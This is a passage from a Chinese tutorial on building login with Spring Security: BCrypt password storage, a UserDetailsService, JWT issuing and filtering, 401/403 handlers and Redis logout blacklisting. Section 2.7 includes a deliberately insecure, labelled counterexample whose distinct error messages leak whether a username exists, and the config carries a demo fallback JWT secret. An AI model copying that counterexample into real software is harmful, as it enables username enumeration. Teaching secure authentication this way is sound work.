        return ApiResult.fail(ErrorCode.PARAM_ERROR.getCode(), msg);
    }

    // 授权异常:@PreAuthorize 校验失败时抛出,统一返回 403
    @ExceptionHandler(AccessDeniedException.class)
    public ApiResult<Void> handleAccessDenied(AccessDeniedException e) {
        log.warn("越权访问被拦截: {}", e.getMessage());
        return ApiResult.fail(ErrorCode.FORBIDDEN);
    }

    // 兜底异常:对外模糊提示,详细堆栈进日志
    @ExceptionHandler(Exception.class)
    public ApiResult<Void> handleOther(Exception e) {
        log.error("系统异常", e);
        return ApiResult.fail(ErrorCode.SYSTEM_ERROR);
    }
}

2.4
实体与数据访问:从数据库加载用户

2.4.1 实体 SysUser

package com.example.demo.entity;

import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;

import java.time.LocalDateTime;

/**
 * 系统用户实体,映射 sys_user 表。
 * 注意:password 列存的是 BCrypt 哈希,不是明文。
 */
@Data
@TableName("sys_user")
public class SysUser {
    @TableId(type = IdType.AUTO)
    private Long id;
    private String username;
    private String password;   // BCrypt 哈希
    private String nickname;
    private String email;
    private Integer status;    // 1=启用 0=禁用
    private LocalDateTime createdAt;
    private LocalDateTime updatedAt;
}

2.4.2 Mapper 接口与 XML

BaseMapper 提供基础的
CRUD,我们只需要一个「按用户名查询」的自定义方法:

package com.example.demo.mapper;

import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.example.demo.entity.SysUser;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;

/**
 * 用户数据访问层。BaseMapper 已提供 selectById / insert 等基础方法,
 * 这里补充按用户名查询(登录时需要)。
 */
@Mapper
public interface UserMapper extends BaseMapper<SysUser> {

    // 使用 #{} 预编译占位,防止 SQL 注入(第 6 章详解)
    SysUser selectByUsername(@Param("username") String username);
}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.demo.mapper.UserMapper">

    <!-- 用 #{} 而不是 ${}:预编译参数,防 SQL 注入 -->
    <select id="selectByUsername" resultType="com.example.demo.entity.SysUser">
        SELECT * FROM sys_user WHERE username = #{username}
    </select>

</mapper>

2.5
UserDetailsService:Spring Security 的「用户加载器」

Spring Security
不关心你的用户存在哪个库,它只认一个接口:UserDetailsService。你实现它,告诉
Security「给定用户名,怎么找到这个用户并返回他的认证信息」。返回的
UserDetails
里携带:用户名、密码哈希、权限列表、是否启用等。

先定义一个 LoginUser 实现 UserDetails

package com.example.demo.security;

import com.example.demo.entity.SysUser;
import lombok.Data;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;

import java.util.Collection;
import java.util.List;

/**
 * 实现 UserDetailsSpring Security 认识的「登录用户」。
 *  SysUser 包装成 Security 需要的形态,携带权限列表。
 */
@Data
public class LoginUser implements UserDetails {

    private final Long id;
    private final String username;
    private final String password;      // BCrypt 哈希
    private final List<SimpleGrantedAuthority> authorities;
    private final Integer status;       // 1=启用 0=禁用

    /**
     * 从数据库实体构造。authorities 由调用方传入(角色转成 ROLE_xxx)。
     */
    public LoginUser(SysUser user, List<SimpleGrantedAuthority> authorities) {
        this.id = user.getId();
        this.username = user.getUsername();
        this.password = user.getPassword();
        this.status = user.getStatus();
        this.authorities = authorities;
    }

    @Override
    public Collection<? extends GrantedAuthority> getAuthorities() {
        return authorities;
    }

    @Override
    public String getPassword() {
        return password;
    }

    @Override
    public String getUsername() {
        return username;
    }

    // 以下四个「账号状态」方法:生产环境可接入真实的锁定/过期/禁用逻辑
    @Override
    public boolean isAccountNonExpired() {
        return true;
    }

    @Override
    public boolean isAccountNonLocked() {
        return true;
    }

    @Override
    public boolean isCredentialsNonExpired() {
        return true;
    }

    @Override
    public boolean isEnabled() {
        // status == 1 才允许登录
        return status != null && status == 1;
    }
}

再实现 UserDetailsService

package com.example.demo.service;

import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.example.demo.common.ErrorCode;
import com.example.demo.entity.SysUser;
import com.example.demo.exception.BizException;
import com.example.demo.mapper.UserMapper;
import com.example.demo.security.LoginUser;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.stereotype.Service;

import java.util.List;

/**
 * 从数据库加载用户,供 Spring Security 认证使用。
 * 说明:登录失败统一抛「用户名或密码错误」,这里不区分用户是否存在,
 * 防止攻击者通过错误提示探测哪些用户名是真实存在的(防撞库)。
 */
@Slf4j
@Service
@RequiredArgsConstructor
public class UserDetailsServiceImpl implements UserDetailsService {

    private final UserMapper userMapper;

    @Override
    public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
        SysUser user = userMapper.selectOne(
                Wrappers.<SysUser>lambdaQuery().eq(SysUser::getUsername, username));
        if (user == null) {
            // 不抛「用户不存在」,而是抛统一的认证失败,避免泄露用户是否存在
            log.info("登录失败:用户名 {} 不存在", username);
            throw new UsernameNotFoundException("用户名或密码错误");
        }
        // 把角色列表转成 Spring Security 的权限对象(ROLE_ 前缀)
        // 这里先给一个默认角色,第 4 章会从 sys_role 表真正查询
        List<SimpleGrantedAuthority> authorities =
                List.of(new SimpleGrantedAuthority("ROLE_USER"));
        return new LoginUser(user, authorities);
    }
}

2.6 注册与登录接口

2.6.1 入参 DTO

package com.example.demo.dto;

import jakarta.validation.constraints.NotBlank;
import jakarta.validation.constraints.Size;
import lombok.Data;

/**
 * 注册入参。JSR-303 校验,字段约束在进入业务逻辑前就拦截。
 */
@Data
public class RegisterDTO {
    @NotBlank(message = "用户名不能为空")
    @Size(min = 3, max = 32, message = "用户名长度需在 3~32 之间")
    private String username;

    @NotBlank(message = "密码不能为空")
    @Size(min = 6, max = 64, message = "密码长度需在 6~64 之间")
    private String password;

    private String nickname;
}
package com.example.demo.dto;

import jakarta.validation.constraints.NotBlank;
import lombok.Data;

/**
 * 登录入参。
 */
@Data
public class LoginDTO {
    @NotBlank(message = "用户名不能为空")
    private String username;

    @NotBlank(message = "密码不能为空")
    private String password;
}

2.6.2 出参 VO

package com.example.demo.vo;

import lombok.AllArgsConstructor;
import lombok.Data;

/**
 * 登录出参。第 3 章会加入 token 字段。
 */
@Data
@AllArgsConstructor
public class LoginVO {
    private Long id;
    private String username;
    private String nickname;
}

2.6.3 AuthService:注册 + 登录

package com.example.demo.service.impl;

import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.example.demo.common.ErrorCode;
import com.example.demo.dto.LoginDTO;
import com.example.demo.dto.RegisterDTO;
import com.example.demo.entity.SysUser;
import com.example.demo.exception.BizException;
import com.example.demo.mapper.UserMapper;
import com.example.demo.security.LoginUser;
import com.example.demo.service.AuthService;
import com.example.demo.vo.LoginVO;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;

/**
 * 认证业务:注册(密码 BCrypt 编码)+ 登录(交给 AuthenticationManager 校验)。
 */
@Slf4j
@Service
@RequiredArgsConstructor
public class AuthServiceImpl implements AuthService {

    private final UserMapper userMapper;
    private final PasswordEncoder passwordEncoder;
    private final AuthenticationManager authenticationManager;

    @Override
    public void register(RegisterDTO dto) {
        // 用户名唯一性校验,避免重复注册
        Long count = userMapper.selectCount(
                Wrappers.<SysUser>lambdaQuery().eq(SysUser::getUsername, dto.getUsername()));
        if (count > 0) {
            throw new BizException(ErrorCode.PARAM_ERROR.getCode(), "用户名已存在");
        }
        SysUser user = new SysUser();
        user.setUsername(dto.getUsername());
        // 关键:存库前用 BCrypt 编码,绝不存明文
        user.setPassword(passwordEncoder.encode(dto.getPassword()));
        user.setNickname(dto.getNickname());
        user.setStatus(1);
        userMapper.insert(user);
        log.info("用户注册成功: {}", dto.getUsername());
    }

    @Override
    public LoginVO login(LoginDTO dto) {
        // 构造一个「未认证」的令牌,交给 AuthenticationManager 走完整认证流程
        Authentication authentication;
        try {
            authentication = authenticationManager.authenticate(
                    new UsernamePasswordAuthenticationToken(dto.getUsername(), dto.getPassword()));
        } catch (AuthenticationException e) {
            // 无论「用户不存在」还是「密码错误」,统一抛同一个错误码
            log.info("登录失败: username={}", dto.getUsername());
            throw new BizException(ErrorCode.LOGIN_ERROR);
        }
        // 认证成功,从 principal 取出 LoginUser
        LoginUser loginUser = (LoginUser) authentication.getPrincipal();
        return new LoginVO(loginUser.getId(), loginUser.getUsername(), null);
    }
}

2.6.4 AuthController

package com.example.demo.controller;

import com.example.demo.common.ApiResult;
import com.example.demo.dto.LoginDTO;
import com.example.demo.dto.RegisterDTO;
import com.example.demo.service.AuthService;
import com.example.demo.vo.LoginVO;
import jakarta.validation.Valid;
import lombok.RequiredArgsConstructor;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

/**
 * 认证接口:注册 / 登录。路径前缀 /api/auth 已在 SecurityConfig 放行。
 */
@RestController
@RequestMapping("/api/auth")
@RequiredArgsConstructor
public class AuthController {

    private final AuthService authService;

    @PostMapping("/register")
    public ApiResult<Void> register(@Valid @RequestBody RegisterDTO dto) {
        authService.register(dto);
        return ApiResult.ok();
    }

    @PostMapping("/login")
    public ApiResult<LoginVO> login(@Valid @RequestBody LoginDTO dto) {
        return ApiResult.ok(authService.login(dto));
    }
}

2.6.5 关键:暴露
AuthenticationManager Bean

AuthServiceImpl 里注入了
AuthenticationManager,但 Spring Boot
默认不会自动暴露它,需要在配置里声明:

// 在 SecurityConfig 里增加这个 Bean
@Bean
public AuthenticationManager authenticationManager(AuthenticationConfiguration config) throws Exception {
    // 从 Spring 的认证配置里取回默认的 AuthenticationManager
    return config.getAuthenticationManager();
}

为什么需要这步:Spring Security
自动装配时,AuthenticationManager
AuthenticationConfiguration 内部持有,不会自动注册成
Bean。你在业务代码里要手动
authenticate(),就必须显式把它暴露出来。这是新手最常踩的「AuthenticationManager
注入失败」坑。

2.7 防撞库:登录失败统一提示

撞库攻击(Credential Stuffing /
用户名枚举)的原理:攻击者拿着从别处泄露的账号密码库,在你这儿批量尝试。如果登录接口返回「用户不存在」和「密码错误」两种不同的提示,攻击者就能先枚举出哪些用户名是真实存在的,把暴力破解的搜索空间缩小一个数量级。

生产规范:无论哪种失败,统一返回「用户名或密码错误」

对应到代码,有三处必须一致:

  1. UserDetailsServiceImpl.loadUserByUsername:用户不存在时抛
    UsernameNotFoundException("用户名或密码错误"),不泄露「不存在」。
  2. AuthServiceImpl.login:捕获所有
    AuthenticationException,统一转成
    ErrorCode.LOGIN_ERROR(消息就是「用户名或密码错误」)。
  3. 返回给前端的 JSON 里,codemessage
    恒定,不随失败原因变化。
// 反例:这样写会被攻击者用于枚举用户名
if (user == null) {
    return ApiResult.fail(40401, "用户不存在");   // ❌ 泄露用户名是否真实存在
}
if (!passwordEncoder.matches(raw, user.getPassword())) {
    return ApiResult.fail(40104, "密码错误");      // ❌ 泄露密码是否错误
}

2.8 验证:跑通注册 + 登录

# 1. 注册(密码会被 BCrypt 编码后入库)
curl -X POST http://localhost:8080/api/auth/register 
  -H "Content-Type: application/json" 
  -d '{"username":"bob","password":"123456","nickname":"Bob"}'

# 2. 登录成功(返回用户信息)
curl -X POST http://localhost:8080/api/auth/login 
  -H "Content-Type: application/json" 
  -d '{"username":"bob","password":"123456"}'

# 3. 登录失败(统一提示「用户名或密码错误」,无论用户名还是密码错)
curl -X POST http://localhost:8080/api/auth/login 
  -H "Content-Type: application/json" 
  -d '{"username":"bob","password":"wrong"}'

登录成功后,去数据库看一眼 sys_user
表,password 列存的是 $2a$10$... 开头的 BCrypt
哈希,而不是 123456——这就是「只存哈希」的落地。

本章小结

认证的本质是「用户名 → 密码哈希」的对照与校验。这一章你落地了
UserDetailsService + LoginUser +
BCryptPasswordEncoder + AuthenticationManager
的完整登录链路,并把登录失败统一成「用户名或密码错误」防撞库。但登录成功后只返回了用户信息,还没发「凭证」——下一章用
JWT 解决「登录一次,后续请求如何证明身份」的问题。


第 3 章 JWT 无状态认证

3.1 为什么需要 JWT:Session
的痛点

第 2 章的登录,校验完密码就结束了。但 HTTP
无状态的协议——下一次请求,服务器怎么知道「你是刚才登录的那个
bob」?

传统方案是
Session:登录成功后,服务器在内存里存一份会话(sessionId → 用户信息),把
sessionId 通过 Cookie 发给浏览器,之后每个请求都带
Cookie,服务器据此查会话。Session 的问题在分布式场景下很突出:

  • 状态集中:会话存在某一台服务器,负载均衡后请求可能落到另一台,需要共享存储(Redis)或粘性会话。
  • 扩展性差:水平扩容时,会话同步是老大难。
  • 跨端不便:App / 小程序不天然支持 Cookie。

JWT(JSON Web Token)
的思路相反:把用户信息直接编码进令牌本身,服务器不存任何会话。用户每次请求在
Authorization: Bearer <token>
头里带上令牌,服务器验签通过就相信令牌内容,无需查库、无需会话——这就是「无状态」。

Session 方案:请求带 sessionId → 服务器查会话(有状态,依赖存储)
JWT 方案:   请求带 token → 服务器验签 + 读 payload(无状态,自包含)

3.2 JWT 结构:三段 Base64

一个 JWT 形如:

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

.
分成三段:Header.Payload.Signature

内容 作用
Header {"alg":"HS256","typ":"JWT"} 声明签名算法和类型
Payload {"sub":"1","username":"bob","exp":1710000000} 声明(Claims),携带业务信息
Signature HMACSHA256(Header.Payload, secret) 防篡改签名

注意:前两段是 Base64Url 编码,不是加密——任何人拿到
token 都能解码出内容。所以绝对不能把密码、身份证号等敏感信息放进
payload
。JWT
的安全性不来自「内容不可见」,而来自「内容不可篡改」。

// 你可以手动解码验证:Base64Url 解码中间那段
String payload = "eyJzdWIiOiIxIn0"; // 解码后就是 {"sub":"1"}

3.3 签名如何防篡改

这是 JWT 的核心原理,面试必考。签名计算方式:

Signature = HMACSHA256(
    base64Url(Header) + "." + base64Url(Payload),
    secretKey
)
  • 服务器签发时,用只有自己知道的密钥对「Header+Payload」做
    HMAC 计算,得到签名。
  • 校验时,服务器用同一个密钥重新计算一次签名,和
    token 里的签名比对。
  • 攻击者可以改 Payload(比如把 sub1 改成
    2
    冒充管理员),但他没有密钥,算不出匹配的新签名。服务器一比对签名对不上,直接拒绝。

所以关键点一句话:JWT
的防篡改能力完全依赖密钥保密
。密钥一旦泄露,攻击者就能伪造任意
token(比如把角色改成 ADMIN)。这就是 3.6
节「密钥外部化」如此重要的原因。

3.4 无状态认证流程

① 登录:POST /api/auth/login {username, password}
       → 校验密码成功 → 生成 JWT(含 userId、角色、过期时间)
       → 返回 { token }

② 前端保存 token,后续每个请求带请求头:
       Authorization: Bearer <token>

③ 后端 JwtAuthFilter 拦截:
       → 取 token → 验签 → 解析出 userId/角色
       → 构造 Authentication → 放进 SecurityContext → 放行

④ Controller 正常处理业务,SecurityContext 里已有当前用户身份

3.5
JwtUtil:签发与解析(jjwt 0.12.x 新版 API)

版本提示:本文使用 jjwt 0.12.5 的
API
。网上大量教程用的是旧 API(setSubject() /
signWith(SignatureAlgorithm.HS256, key) /
Jwts.parser().setSigningKey()),在 0.12.x
已被标记废弃。新旧 API 对照见 3.9 节。

package com.example.demo.security;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

import javax.crypto.SecretKey;
import java.nio.charset.StandardCharsets;
import java.util.Date;
import java.util.List;
import java.util.UUID;

/**
 * JWT 工具:负责签发(generateToken)与解析(parseToken)。
 * 密钥从配置注入,绝不硬编码。
 */
@Component
public class JwtUtil {

    private final SecretKey key;       // HMAC 签名密钥
    private final long expireSeconds;  // 过期时间(秒)

    public JwtUtil(@Value("${jwt.secret}") String secret,
                   @Value("${jwt.expire-seconds}") long expireSeconds) {
        // 密钥外部化:从 application.yml / 环境变量读取,禁止写死在代码里
        // HMAC-SHA256 要求密钥至少 256 bit(32 字节)
        this.key = Keys.hmacShaKeyFor(secret.getBytes(StandardCharsets.UTF_8));
        this.expireSeconds = expireSeconds;
    }

    /**
     * 签发 token
     * @param userId   用户主键,放在标准声明 sub 
     * @param username 用户名,放在自定义声明里
     * @param roles    角色编码列表,放在自定义声明里(注意:不要放密码等敏感信息)
     */
    public String generateToken(Long userId, String username, List<String> roles) {
        Date now = new Date();
        Date expiration = new Date(now.getTime() + expireSeconds * 1000L);
        return Jwts.builder()
                .id(UUID.randomUUID().toString())        // jti:令牌唯一 id,供黑名单使用
                .subject(String.valueOf(userId))          // sub:标准声明,存用户主键
                .claim("username", username)              // 自定义声明
                .claim("roles", roles)                    // 自定义声明:角色列表
                .issuedAt(now)                            // iat:签发时间
                .expiration(expiration)                   // exp:过期时间
                .signWith(key)                            // 用密钥签名(默认 HS256)
                .compact();
    }

    /**
     * 解析并校验 token。验签失败、过期都会抛异常,由调用方捕获。
     */
    public Claims parseToken(String token) {
        return Jwts.parser()
                .verifyWith(key)      // 用同一个密钥验签
                .build()
                .parseSignedClaims(token)  // 验签 + 校验 exp
                .getPayload();
    }
}

逐点讲解

  • .subject(...) 对应标准声明
    sub,存「用户是谁」(主键)。标准声明用 jjwt
    提供的具名方法,自定义字段用 .claim("key", value)
  • .expiration(...) 对应
    expparseSignedClaims
    会自动校验过期时间,过期就抛 ExpiredJwtException
  • .signWith(key) 默认用
    HS256keySecretKey,由
    Keys.hmacShaKeyFor 从配置字符串生成。
  • parseToken 返回的 Claims
    Map 的子接口,可以 claims.getSubject()
    subclaims.get("roles", List.class)
    拿角色。

3.6
密钥外部化:密钥为什么必须放环境变量

回顾 3.3 节:JWT
的安全性完全依赖密钥保密。如果密钥硬编码在代码里:

  1. 代码仓库一旦泄露(GitHub
    公开仓库、离职员工、外包),密钥就泄露了。
  2. 泄露后攻击者可以伪造任意
    token
    ,直接以管理员身份调用所有接口——比撞库严重得多。

生产规范:密钥从环境变量 /
配置中心注入,代码里只放占位符

# application.yml —— 本地开发给默认值,生产用环境变量覆盖
jwt:
  secret: ${JWT_SECRET:change-me-this-is-a-demo-secret-key-please-override-32bytes-min}
  expire-seconds: ${JWT_EXPIRE_SECONDS:7200}
# 生产环境通过环境变量注入真实密钥
export JWT_SECRET="$(openssl rand -base64 48)"   # 生成足够长、随机的密钥
export JWT_EXPIRE_SECONDS=7200

两个硬性注意

  1. 密钥长度:HS256 要求 ≥ 32 字节(256 bit),否则
    Keys.hmacShaKeyFor 会抛
    WeakKeyException。上面的默认值已满足,生产用
    openssl rand 生成随机密钥更安全。
  2. 不要把密钥提交进 Git。用环境变量或配置中心(Nacos / Vault /
    KMS)管理。

3.7
JwtAuthFilter:把 token 变成 SecurityContext 里的身份

过滤器是整个 JWT 方案的枢纽。它做三件事:取 token → 验签解析 → 放进
SecurityContext

package com.example.demo.security;

import com.example.demo.common.ErrorCode;
import com.example.demo.exception.BizException;
import io.jsonwebtoken.Claims;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.web.authentication.WebAuthenticationDetailsSource;
import org.springframework.stereotype.Component;
import org.springframework.web.filter.OncePerRequestFilter;

import java.io.IOException;
import java.util.List;

/**
 * JWT 认证过滤器:每个请求执行一次,从 Authorization 头解析 token 并放进 SecurityContext
 * 继承 OncePerRequestFilter,保证单个请求只过滤一次(避免转发/包含导致重复执行)。
 */
@Slf4j
@Component
@RequiredArgsConstructor
public class JwtAuthFilter extends OncePerRequestFilter {

    private final JwtUtil jwtUtil;
    private final TokenBlacklistService blacklistService;

    @Override
    protected void doFilterInternal(HttpServletRequest request,
                                    HttpServletResponse response,
                                    FilterChain filterChain)
            throws ServletException, IOException {

        String header = request.getHeader("Authorization");
        // 标准格式:Authorization: Bearer <token>
        if (header != null && header.startsWith("Bearer ")) {
            String token = header.substring(7);   // 去掉 "Bearer " 前缀
            try {
                Claims claims = jwtUtil.parseToken(token);   // 验签 + 校验过期

                // 登出黑名单校验:如果该 jti 已被加入黑名单,视为无效
                if (blacklistService.isBlacklisted(claims.getId())) {
                    throw new BizException(ErrorCode.TOKEN_INVALID);
                }

                // 从 payload 取出用户标识和角色
                Long userId = Long.valueOf(claims.getSubject());
                List<String> roles = claims.get("roles", List.class);
                List<SimpleGrantedAuthority> authorities = roles.stream()
                        .map(r -> new SimpleGrantedAuthority("ROLE_" + r))
                        .toList();

                // 构造已认证的令牌:principal 放 userId,供 @PreAuthorize("#id == authentication.principal") 使用
                UsernamePasswordAuthenticationToken authentication =
                        new UsernamePasswordAuthenticationToken(userId, null, authorities);
                authentication.setDetails(
                        new WebAuthenticationDetailsSource().buildDetails(request));

                // 关键:放进 SecurityContext,后续 AuthorizationFilter 才能看到认证信息
                SecurityContextHolder.getContext().setAuthentication(authentication);
            } catch (Exception e) {
                // 验签失败 / 过期 / 黑名单 / 格式错误:统一清空上下文
                // 不在这里直接返回 401,而是放行给下游,由 AuthenticationEntryPoint 统一返回 401 JSON
                log.debug("JWT 解析失败: {}", e.getMessage());
                SecurityContextHolder.clearContext();
            }
        }
        // 无论如何都继续走链(放行匿名请求),授权交给后续过滤器判断
        filterChain.doFilter(request, response);
    }
}

关键设计说明

  1. principal
    userId(Long)
    :这样第 4 章防越权能直接写
    @PreAuthorize("#id == authentication.principal")——#id
    是方法参数,authentication.principal 就是这里放进去的
    userId。如果你需要 username 等更多信息,可以改放一个
    LoginUser,表达式相应改为
    #id == authentication.principal.id(4.5 节会再讲)。
  2. 异常统一清空上下文后放行:过滤器不直接返回
    401,而是交给下游。因为 Spring Security 的
    AuthenticationEntryPoint(你在 1.6
    节配置的)会在「未认证访问受保护资源」时统一返回 401
    JSON。这样错误格式全局一致。
  3. OncePerRequestFilter:保证一个请求只执行一次。如果用普通
    Filter,在请求转发(forward)时可能执行多次,重复解析浪费性能。

3.8 统一 401 / 403 的 JSON
输出

前后端分离项目里,Spring Security 默认的 401/403
是返回重定向或空白页,前端没法处理。需要自定义
AuthenticationEntryPoint
AccessDeniedHandler,返回和 ApiResult 一致的
JSON。

package com.example.demo.security;

import com.example.demo.common.ApiResult;
import com.example.demo.common.ErrorCode;
import com.fasterxml.jackson.databind.ObjectMapper;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.RequiredArgsConstructor;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.AuthenticationEntryPoint;
import org.springframework.stereotype.Component;

import java.io.IOException;

/**
 * 未认证(401)统一处理:返回 JSON 而不是默认的重定向到登录页。
 */
@Component
@RequiredArgsConstructor
public class RestAuthenticationEntryPoint implements AuthenticationEntryPoint {

    private final ObjectMapper objectMapper;

    @Override
    public void commence(HttpServletRequest request,
                         HttpServletResponse response,
                         AuthenticationException authException) throws IOException {
        response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);   // 401
        response.setContentType("application/json;charset=UTF-8");
        response.getWriter().write(objectMapper.writeValueAsString(ApiResult.fail(ErrorCode.UNAUTHORIZED)));
    }
}
package com.example.demo.security;

import com.example.demo.common.ApiResult;
import com.example.demo.common.ErrorCode;
import com.fasterxml.jackson.databind.ObjectMapper;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.RequiredArgsConstructor;
import org.springframework.security.access.AccessDeniedException;
import org.springframework.security.web.access.AccessDeniedHandler;
import org.springframework.stereotype.Component;

import java.io.IOException;

/**
 * 已认证但无权限(403)统一处理:返回 JSON
 */
@Component
@RequiredArgsConstructor
public class RestAccessDeniedHandler implements AccessDeniedHandler {

    private final ObjectMapper objectMapper;

    @Override
    public void handle(HttpServletRequest request,
                       HttpServletResponse response,
                       AccessDeniedException accessDeniedException) throws IOException {
        response.setStatus(HttpServletResponse.SC_FORBIDDEN);     // 403
        response.setContentType("application/json;charset=UTF-8");
        response.getWriter().write(objectMapper.writeValueAsString(ApiResult.fail(ErrorCode.FORBIDDEN)));
    }
}

3.9 黑名单登出:JWT
无状态的「软肋」与补救

JWT 无状态带来了一个经典问题:token
一旦签发,服务器无法主动让它失效
。用户点「登出」,但 token
在过期时间之前依然有效——如果 token
落到别人手里,这段时间内照样能冒用。

解决方案是黑名单(Blacklist):登出时把 token
的唯一标识 jti 存进 Redis,并设置过期时间等于 token
的剩余有效期。过滤器每次解析 token 后,查一下 jti
是否在黑名单里,在就直接拒绝。

package com.example.demo.security;

import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.data.redis.core.StringRedisTemplate;
import org.springframework.stereotype.Service;

import java.time.Duration;

/**
 * JWT 登出黑名单:用 Redis 存已注销 token  jti,实现「主动失效」。
 * 原理:登出时把 jti 写入 RedisTTL 设为 token 剩余有效期;
 * 过滤器校验时若命中黑名单,视为 token 已失效。
 */
@Slf4j
@Service
@RequiredArgsConstructor
public class TokenBlacklistService {

    private static final String KEY_PREFIX = "jwt:blacklist:";

    private final StringRedisTemplate redisTemplate;

    /**
     *  token 加入黑名单。
     * @param jti        token 唯一 idJwtUtil 里用 UUID 生成)
     * @param expireMillis  token 剩余有效时长(毫秒),用于设置 Redis key  TTL
     */
    public void blacklist(String jti, long expireMillis) {
        // TTL 到期后 key 自动删除,黑名单不会无限膨胀
        redisTemplate.opsForValue().set(KEY_PREFIX + jti, "1", Duration.ofMillis(expireMillis));
        log.info("token 已加入黑名单: {}", jti);
    }

    /**
     * 判断 jti 是否在黑名单中。
     */
    public boolean isBlacklisted(String jti) {
        if (jti == null) {
            return false;
        }
        return Boolean.TRUE.equals(redisTemplate.hasKey(KEY_PREFIX + jti));
    }
}

登出接口:解析 token 拿到 jti
exp,计算剩余时间写入黑名单。

// AuthController 增加登出接口
@PostMapping("/logout")
public ApiResult<Void> logout(HttpServletRequest request) {
    String header = request.getHeader("Authorization");
    if (header != null && header.startsWith("Bearer ")) {
        String token = header.substring(7);
        Claims claims = jwtUtil.parseToken(token);
        long remainMillis = claims.getExpiration().getTime() - System.currentTimeMillis();
        if (remainMillis > 0) {
            blacklistService.blacklist(claims.getId(), remainMillis);
        }
    }
    return ApiResult.ok();
}

设计要点

  • jti 而不是整个 token 做 key,因为 token 很长,直接当
    key 浪费 Redis 内存。
  • TTL 设为「token
    剩余有效期」,到点自动过期,黑名单不会越积越大。
  • 更进一步的方案是 refresh token 双令牌(3.11
    节),access token 短期有效(如 30 分钟),即使泄露窗口也小。

3.10 串起来:登录返回 JWT

把第 2 章的登录接口改造成「登录成功后签发 JWT」:

// LoginVO 增加 token 字段
@Data
@AllArgsConstructor
public class LoginVO {
    private Long id;
    private String username;
    private String nickname;
    private String token;     // 新增:JWT
}
// AuthServiceImpl.login 的结尾改为签发 token 并返回
LoginUser loginUser = (LoginUser) authentication.getPrincipal();
// 从数据库查用户角色(第 4 章会真正实现 role 查询,这里先给默认角色)
List<String> roles = List.of("USER");
String token = jwtUtil.generateToken(loginUser.getId(), loginUser.getUsername(), roles);
return new LoginVO(loginUser.getId(), loginUser.getUsername(), null, token);

3.11 生产级延伸:refresh
token 双令牌

2 小时过期的 access token
有个体验问题:用户用到一半过期了,被迫重新登录。生产主流方案是双令牌

令牌 有效期 用途 存放
access token 短(15~30 分钟) 访问接口 内存(前端变量)
refresh token 长(7~30 天) 换取新 access token HttpOnly Cookie / 本地安全存储

流程:access token 过期 → 前端拿 refresh token 调
/api/auth/refresh → 服务器校验 refresh token
未过期且不在黑名单 → 签发新 access token。这样即使 access token
泄露,窗口也只有 15 分钟;refresh token 泄露则加入黑名单立即失效。

3.12 新旧 jjwt API 对照(避坑)

网上大量 JWT 教程用的是旧 API,复制过来在 jjwt 0.12.x
会报「已废弃」甚至编译错误:

操作 旧 API(0.11 及以前) 新 API(0.12.x,本文采用)
生成密钥 SecretKey key = Keys.hmacShaKeyFor(...) 相同
设置主题 .setSubject("1") .subject("1")
设置过期 .setExpiration(date) .expiration(date)
签名 .signWith(SignatureAlgorithm.HS256, secret) .signWith(key)
解析 Jwts.parser().setSigningKey(key).parseClaimsJws(t).getBody() Jwts.parser().verifyWith(key).build().parseSignedClaims(t).getPayload()

本章小结

JWT 用「三段 Base64 +
签名」实现了无状态认证:Header.Payload.Signature,签名防篡改、exp
防永不过期、jti + Redis
黑名单防「登出后仍可用」、密钥外部化防伪造。JwtAuthFilter
负责把 token 解析成 SecurityContext 里的
Authentication。到这里,「登录 → 发 token → 带 token
访问」的主链路已经跑通,但还没解决「同一个登录用户,凭什么能删别人数据」的问题——这就是下一章的授权与
RBAC。


第 4 章 授权与 RBAC

4.1
认证之后:授权回答「你能干什么」

第 2、3 章解决了「你是谁」(认证)。但一个系统里,登录成功 ≠
什么都能干:普通用户不能删用户,客服不能改订单金额,只能看自己数据的用户不能看别人的。

授权(Authorization)就是在认证之后,回答「这个已登录的用户,能不能访问这个资源
/ 执行这个操作」。

